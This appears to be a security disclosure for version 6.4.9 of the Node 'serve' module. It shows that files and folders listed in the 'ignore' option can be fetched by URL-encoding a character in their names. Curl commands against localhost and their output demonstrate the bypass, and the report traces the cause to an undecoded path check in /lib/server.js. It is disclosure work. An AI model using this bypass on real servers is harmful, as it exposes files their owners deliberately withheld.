Module:
serve
6.4.9
)Description:
The serve
modules allows directory browsing and to serve static files through the browser.
The config option ignore
can be used to tell the module which file or directory are forbidden and should not be served.
This rule can be bypassed by url encoding the name of the file or directory that has been forbidden.
serve
ignore
config.const serve = require('serve')
const server = serve(__dirname, {
port: 1337,
ignore: ['testfolder', 'test.txt']
})
$ node filename.js
serve
with the exception of folder testfolder
and file test.txt
test.txt
we get a Not Found
error$ curl http://localhost:1337/test.txt
Not Found
e
is %65
. So after replacing an e
with its url encoded form, we are able to access the file.$ curl http://localhost:1337/t%65st.txt
this is a forbidden file :D
testfolder
returns a 404 too.$ curl http://localhost:1337/testfolder/
Not Found
$ curl http://localhost:1337/t%65stfolder/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Files within testserve/testfolder/</title>
.
.
<li>
<a href="/testfolder/testfile.txt" title="testfile.txt">testfile.txt</a>
<i>31 B</i>
</li>
.
.
$ curl http://localhost:1337/t%65stfolder/testfile.txt
this is a test ... forbidden !
From what I could gather, this is happening because the path variable that is being checked against the user created forbidden folders blacklist, is essentially different from the one which is being used to serve the file/folder.
Note these particular lines in file /lib/server.js
-
90 const ignored = !ignoredFiles.every(item => {
91 return !pathname.includes(item)
92 })
Line 91
handles the logic for checking if one of the ignored folder/file names is present in the current requested path. Note that here, the variable pathname
is used. This variable is not url decoded, while the variable which is used to actually serve the file is named related
and is url decoded by passing requested path through decodeURIComponent
function.
So one strategy would be to use the related
variable for checking against the blacklist too.
The issue essentially bypasses the ignore files/folders
feature and allows an attacker to read from a directory/file that the victim has not allowed access to.